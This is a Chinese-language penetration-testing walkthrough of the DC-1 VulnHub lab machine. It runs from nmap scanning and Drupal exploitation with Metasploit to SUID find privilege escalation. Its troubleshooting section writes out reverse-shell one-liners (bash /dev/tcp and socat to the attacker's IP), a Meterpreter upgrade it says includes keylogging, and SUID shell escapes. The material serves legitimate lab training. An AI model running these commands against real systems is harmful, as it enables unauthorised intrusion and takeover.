DC-1靶机实战:从信息收集到权限提升的完整渗透测试路径解析
1. 项目概述与核心价值
最近在带新人入门渗透测试,发现很多朋友在从理论转向实战时,面对一个完整的靶机往往无从下手。DC-1这个经典靶机,就像渗透测试领域的“新手村”,它把Web渗透、服务枚举、漏洞利用、权限提升这些核心环节都串了起来,而且路径相对固定,非常适合用来建立完整的攻击链思维。我这次带大家复现的,不仅仅是跟着步骤走一遍,更重要的是拆解每一步背后的“为什么”——为什么要用这个工具?为什么这个参数这么写?遇到报错该怎么排查?这些才是教程里不会写,但实际干活时能救命的经验。
DC-1靶机本身是一个故意存在多个漏洞的Linux环境,最终目标是拿到最高权限(root)并找到所有的flag文件。整个流程会用到Kali Linux中的一系列工具,从最基础的信息收集(Nmap)开始,到Web目录扫描(Dirb, Gobuster),利用CMS漏洞(Drupal),再到最后的权限提升(find命令的SUID提权)。这个过程模拟了一次相对完整的黑盒测试,对于理解渗透测试的基本方法论非常有帮助。无论你是安全专业的学生,还是想转行安全开发的工程师,跟着这个流程走一遍,都能对“黑客”到底在做什么有个清晰、具体的认识,而不是停留在电影里的模糊概念。
2. 环境准备与靶机搭建
2.1 Kali Linux 攻击机配置要点
工欲善其事,必先利其器。Kali Linux是我们的攻击平台,但刚装好的Kali可能并不“顺手”。首先就是源的问题。官方源在国内访问速度可能不理想,直接影响后续的工具安装和更新。我个人的习惯是换成国内的镜像源,比如阿里云或中科大的源。操作很简单,用你喜欢的编辑器(如nano或vim)修改/etc/apt/sources.list文件,将里面的官方源地址替换成镜像源地址。
注意:换源后,务必执行
sudo apt update来更新软件包列表,但先不要急着upgrade。对于渗透测试环境,盲目升级有时会导致某些工具版本不兼容,尤其是像Metasploit这类框架。我的建议是,除非某个工具因版本问题无法运行,否则保持当前稳定状态即可。
另一个关键配置是网络。我们需要让Kali和靶机处于同一个网络段,才能相互通信。在VMware或VirtualBox中,最常用的就是“桥接模式”或“NAT模式”。如果是在个人电脑上做实验,我推荐用“NAT模式”,它会在宿主机上虚拟出一个网络(比如192.168.xx.xx),让虚拟机和宿主机处于一个内网,简单省事。如果是在公司内网或者需要模拟更真实的网络环境,可以用“桥接模式”,这样你的Kali会像一台真实设备一样获取到所在物理网络的IP。这里有个小坑:在校园网等使用802.1X认证的网络环境下,桥接模式可能无法直接获取IP,这时候通常只能选择NAT模式。
2.2 DC-1靶机获取与启动
DC-1靶机可以从VulnHub官网免费下载,它是一个OVA格式的虚拟机文件。下载后,直接在你的虚拟机软件(VMware Workstation或VirtualBox)中“打开”或“导入”这个OVA文件即可。导入过程基本是全自动的,虚拟机的网络配置、硬件设置都已经预设好了。
导入成功后,启动DC-1靶机。它的启动过程会像一台真正的服务器一样,在命令行界面滚动输出启动信息。你不需要知道它的登录密码,因为我们正是要通过渗透的手段从外部进入。靶机启动完成后,它就会在网络上静默运行,等待我们的探测。
此时,回到你的Kali Linux。我们需要先找出靶机的IP地址。由于我们还不知道靶机IP,一个常用的方法是使用netdiscover或arp-scan工具进行二层网络扫描。打开Kali终端,输入:
sudo netdiscover -r 192.168.1.0/24这里的-r 192.168.1.0/24指定了扫描的网段,你需要根据你自己虚拟网络的实际网段进行修改。如果使用默认的NAT模式,网段通常是192.168.xx.0/24。扫描结果中,你会看到除了你宿主机和Kali自己之外的IP地址,那个很可能就是DC-1靶机。记下这个IP地址,我们后续的所有操作都将针对这个IP展开。
3. 信息收集与目标侦察
3.1 端口扫描与服务识别
拿到靶机IP(假设为192.168.1.105)后,第一步就是“敲门”,看看它对外开放了哪些门(端口),以及每扇门后是什么服务(服务类型和版本)。这里的主力工具是Nmap。新手可能会直接nmap 192.168.1.105,但这只扫描最常见的1000个端口。对于靶机,我们最好进行一次全面扫描。
我常用的命令组合是:
sudo nmap -sS -sV -O -p- 192.168.1.105我来拆解一下这个命令:
-sS: 这是TCP SYN扫描,一种半开放扫描。它发送SYN包,如果收到SYN-ACK回复,就认为端口开放,然后立刻发送RST断开,而不完成完整的TCP三次握手。这种方式比全连接扫描(-sT)更快、更隐蔽。-sV: 版本探测。Nmap会尝试与开放的端口通信,分析其响应,从而判断运行的是什么服务及其具体版本号(如Apache 2.4.38, OpenSSH 7.9p1)。知道版本号对于后续搜索漏洞至关重要。-O: 操作系统探测。通过分析TCP/IP协议栈的指纹,来猜测目标运行的操作系统。这对于寻找系统层面的漏洞有帮助。-p-: 这个参数代表扫描所有65535个端口,确保没有遗漏任何隐蔽服务。
扫描完成后,你会得到一份报告。对于DC-1,典型的结果会显示开放了80端口(HTTP服务)和22端口(SSH服务)。80端口告诉我们这是一个网站,是我们的主攻方向;22端口(SSH)是潜在的备用入口或提权后的持久化通道。
3.2 Web应用初步探测与目录枚举
既然有80端口,我们自然要打开浏览器,访问http://192.168.1.105看看。DC-1的首页通常会显示一个网站,很可能是一个内容管理系统(CMS)。通过查看网页源代码、HTTP响应头,或者使用浏览器插件(如Wappalyzer),我们可以快速识别出它使用的是Drupal。
知道是Drupal后,我们的思路就清晰了:寻找Drupal的已知漏洞,或者寻找它的后台登录入口、配置文件等。这时,我们需要对网站目录进行暴力枚举,寻找隐藏的路径。Kali里常用的工具有dirb,gobuster,dirsearch。
我更喜欢用gobuster,因为它速度较快,且支持多种模式。针对Web目录扫描,命令如下:
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txtdir: 指定模式为目录扫描。-u: 指定目标URL。-w: 指定字典文件。/usr/share/wordlists/dirb/common.txt是Kali自带的常用目录字典。
运行后,工具会尝试字典中的每一个路径(如/admin,/config,/backup),并根据HTTP状态码(如200成功,403禁止,404未找到)来判断该路径是否存在。扫描结果中,你可能会发现像/user,/admin,/modules,/themes等典型的Drupal目录。其中/user和/admin尤其值得关注,它们可能是后台登录入口。
4. 漏洞利用与初始访问
4.1 Drupal漏洞分析与利用
通过目录枚举,我们找到了/user或/user/login这样的登录页面。面对登录框,常规思路是尝试弱口令爆破。但对于DC-1这个教学靶机,它更可能存在的是一处已知的Drupal远程代码执行漏洞,例如著名的Drupalgeddon(CVE-2018-7600)。这个漏洞允许攻击者在未授权的情况下,通过特制的请求在服务器上执行任意代码。
我们不必从零开始编写利用代码,Kali中的Metasploit Framework (MSF)已经集成了相关模块。打开MSF:
msfconsole在msf6的提示符下,我们搜索Drupal相关漏洞:
search drupal在列出的模块中,寻找与远程代码执行(RCE)相关的exploit模块,例如exploit/unix/webapp/drupal_drupalgeddon2。使用该模块:
use exploit/unix/webapp/drupal_drupalgeddon2接着,我们需要设置模块所需的参数:
set RHOSTS 192.168.1.105 set RPORT 80RHOSTS是目标IP,RPORT是目标端口(Web服务默认80)。设置完成后,可以输入show options确认。最后,执行攻击:
run或者
exploit如果漏洞存在且利用成功,Metasploit会尝试建立一个反向Shell(reverse shell)。这意味着它会在靶机上执行一段代码,让靶机主动连接到我们Kali上指定的一个监听端口,从而给我们返回一个命令行交互界面。这是获取初始立足点(initial foothold)的关键一步。
4.2 建立稳定Shell与初步探索
Metasploit成功利用后,我们通常会得到一个基础的Shell。但这个Shell可能不太稳定(例如,按Ctrl+C会中断会话),功能也可能受限。因此,我们通常需要将其升级为一个完全交互式的TTY Shell。
首先,在当前的MSF会话中,我们可以尝试使用Python来获取一个更友好的Shell。在靶机的Shell里输入:
python -c 'import pty; pty.spawn("/bin/bash")'如果靶机安装了Python,这条命令会模拟一个终端环境,让我们可以使用Tab补全、方向键等。
接下来,我们需要进行初步的信息收集,了解我们当前在靶机里的位置和权限。执行以下命令:
whoami: 查看当前用户名。很可能是一个Web服务用户,如www-data。pwd: 查看当前所在目录。通常会在Web根目录,如/var/www。id: 查看当前用户的用户ID(UID)、组ID(GID)以及所属的所有组。uname -a: 查看系统内核版本信息,为后续可能的本地提权做准备。find / -name *flag* 2>/dev/null: 寻找包含“flag”字样的文件。2>/dev/null的作用是将错误信息(如权限不足)丢弃,只显示成功找到的结果。在DC-1中,第一个flag文件(flag1.txt)通常就放在Web根目录下,其内容会给出下一步的提示。
5. 权限提升与最终攻陷
5.1 横向移动与信息深度收集
拿到第一个flag后,根据其提示(通常会指引你去查看配置文件),我们需要在靶机内部进行“横向移动”,即利用已获取的权限去发现更多的敏感信息,为获取更高权限铺路。
常见的敏感信息位置包括:
- Web配置文件:如Drupal的
sites/default/settings.php。这个文件里很可能包含数据库的连接密码。我们可以用cat命令查看:
在文件中搜索cat /var/www/html/sites/default/settings.php$databases数组,你会找到MySQL数据库的用户名和密码。 - 数据库:用找到的数据库密码,我们可以连接MySQL。在靶机Shell里执行:
输入密码后,就进入了数据库命令行。可以查看有哪些数据库 (mysql -u dbuser -pshow databases;),查看Drupal相关的表(通常是drupal库),重点查看users表,里面存储了网站用户的密码哈希。Drupal的密码哈希可以通过工具(如hashcat)进行破解,但DC-1靶机设计上,更可能是在这里找到第二个flag或者直接找到管理员的密码哈希,甚至可能是明文密码。 - 历史命令与配置文件:检查当前用户的家目录(
/home/下的目录),查看.bash_history文件,或者查看/etc/passwd和/etc/shadow(需要root权限)来发现其他用户。
5.2 SUID提权原理与Find命令利用
在Linux中,有一种特殊的文件权限叫SUID(Set User ID)。当某个可执行文件被设置了SUID位,那么任何用户在执行这个文件时,都会以该文件所有者的权限来运行。如果这个文件的所有者是root,并且这个程序本身存在逻辑缺陷或能被我们操控,我们就可以利用它来获取root权限。
查找系统中设置了SUID位的文件,命令如下:
find / -perm -u=s -type f 2>/dev/null这条命令的意思是:从根目录/开始,查找所有权限模式中包含“设置用户ID”(-perm -u=s)的普通文件(-type f),并丢弃所有错误信息。
在返回的列表中,一个非常经典且常见的SUID程序就是find。find命令功能强大,其中一个参数-exec允许我们在找到文件后执行任意命令。这就给我们留下了利用空间。
利用find命令提权的经典方式如下:
find / -name anyfile -exec /bin/bash -p \;或者更简洁的:
find . -exec /bin/bash -p \;-exec: 对匹配的文件执行后面的命令。/bin/bash -p: 启动一个bash shell。-p参数是关键,它告诉bash保留(preserve)当前的权限环境,即继承find命令因SUID而获得的root权限。\;: 是-exec参数的结束符,需要对分号进行转义。
执行上述命令后,如果find确实具有SUID权限且属于root,那么我们就会获得一个具有root权限的bash shell。此时再执行whoami,会显示root,标志着我们成功实现了权限提升。
5.3 获取最终Flag与清理痕迹
成为root后,整个靶机就完全在我们的控制之下了。我们可以去读取只有root才能访问的文件,比如/root目录下的最终flag文件(可能是flag4.txt或final.txt)。
cat /root/finalflag.txt至此,DC-1靶机的核心渗透流程就完成了。从外部信息收集,到Web漏洞利用获得初始Shell,再到内部信息搜集发现数据库凭证,最后利用SUID位的find命令完成提权,这是一条非常经典和清晰的路径。
实操心得:在实际渗透测试或CTF比赛中,
find提权是“必考科目”。但除了find,还有很多其他常见的SUID程序可以用于提权,比如vim,nmap(旧版本),bash(某些版本),more,less等。养成拿到Shell后第一时间检查SUID文件的习惯,能大大提高提权效率。可以使用命令find / -perm -4000 2>/dev/null来快速查找。
6. 常见问题与排查技巧实录
6.1 网络连通性问题
问题现象:Kali中ping不通靶机IP,或者Nmap扫描不到任何端口。
- 排查步骤1:检查虚拟机网络设置。确保Kali和DC-1靶机都连接到同一个虚拟网络(如VMnet8/NAT模式)。在VMware中,可以在虚拟机设置里查看和修改。
- 排查步骤2:检查靶机是否已完全启动。有些靶机启动较慢,尤其是第一次启动时。确保在靶机虚拟机窗口中看到登录提示符或系统完全启动完毕。
- 排查步骤3:检查防火墙。虽然靶机通常关闭防火墙,但Kali自身的防火墙有时会开启。可以临时关闭Kali防火墙测试:
sudo ufw disable。 - 排查步骤4:使用
arp-scan进行二层确认。如果ping不通但网络配置没错,可以用sudo arp-scan -l扫描本地网络,看是否能发现靶机的MAC地址。如果能发现,说明链路层是通的,可能是三层(IP)配置问题。
6.2 Metasploit漏洞利用失败
问题现象:运行exploit后,返回Exploit failed或没有建立会话。
- 排查步骤1:确认模块与目标匹配。再次用
show info命令仔细查看所选漏洞模块的详细描述,确认它适用于我们目标Drupal的确切版本。DC-1可能使用较老的Drupal 7版本。 - 排查步骤2:检查参数设置。反复确认
RHOSTS和RPORT设置正确。有时需要设置TARGETURI参数,如果Drupal不是安装在网站根目录的话。 - 排查步骤3:尝试其他利用模块。用
search drupal多尝试几个相关的exploit模块,比如exploit/multi/http/drupal_drupageddon等。不同模块的利用方式可能略有不同。 - 排查步骤4:手动验证漏洞。可以退出MSF,尝试使用独立的Python漏洞利用脚本(可在GitHub上搜索相关CVE的利用脚本)进行测试,有时能获得更详细的错误信息。
6.3 获取的Shell不稳定或无响应
问题现象:成功得到Shell,但无法输入命令,或者一按Ctrl+C就断开。
- 解决方案1:升级为完全交互式TTY。如前所述,使用Python的
pty模块是首选。如果Python不可用,可以尝试其他方法:# 方法1: 使用socat (需要在Kali上监听,靶机上传或内置socat) # Kali: socat file:`tty`,raw,echo=0 tcp-listen:4444 # 靶机: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:你的KaliIP:4444 # 方法2: 使用简单的bash反弹 (适用于有/dev/tcp支持的bash) # 靶机: bash -c 'bash -i >& /dev/tcp/你的KaliIP/4444 0>&1' # Kali: nc -lvnp 4444 - 解决方案2:使用MSF的后期管理模块。在MSF获得一个基础会话(session)后,可以将其迁移到更稳定的进程中。首先在MSF中
sessions -l列出会话,然后sessions -i [会话ID]进入。之后输入:
这个模块会尝试将简单的Shell升级为功能更强大的Meterpreter会话,后者通常更稳定,且自带文件上传下载、键盘记录等更多功能。run post/multi/manage/shell_to_meterpreter
6.4 Find提权命令执行无效
问题现象:执行find . -exec /bin/bash -p \;后,没有返回root shell,或者报错。
- 排查步骤1:确认find是否具有SUID权限。务必先执行
find / -perm -u=s -type f 2>/dev/null | grep find来确认/usr/bin/find或/bin/find确实在列表中。 - 排查步骤2:检查bash路径。有些系统的bash路径可能是
/usr/bin/bash,用which bash命令确认。 - 排查步骤3:尝试不同的exec语法。有时需要更精确的路径和参数:
/usr/bin/find / -name anything -exec /bin/bash -p \; - 排查步骤4:考虑使用其他SUID程序。如果find利用失败,立即转向检查列表中的其他程序。例如,如果存在SUID的
vim,可以尝试vim -c ':!/bin/sh';如果存在旧版nmap(交互模式),可以尝试nmap --interactive然后!sh。
6.5 数据库连接失败
问题现象:在靶机Shell里使用找到的密码无法连接MySQL。
- 排查步骤1:确认服务运行。执行
netstat -tulpn | grep 3306或ps aux | grep mysql查看MySQL服务是否真的在运行。靶机可能没有启动MySQL,或者使用了其他数据库(如SQLite)。 - 排查步骤2:确认连接参数。仔细检查
settings.php文件,确认数据库主机(localhost)、数据库名、用户名和密码。有时密码可能包含特殊字符,在命令行中输入时需要注意转义,或者用单引号包裹。 - 排查步骤3:尝试本地Socket连接。如果MySQL只允许Socket连接而非TCP,可以尝试
mysql -u username -p database_name而不指定主机。 - 排查步骤4:直接查看数据库文件。如果Drupal使用了SQLite,数据库文件可能就在
sites/default目录下,文件名类似database.sqlite。可以使用sqlite3命令直接打开查看:sqlite3 database.sqlite,然后使用.tables和SELECT语句进行查询。
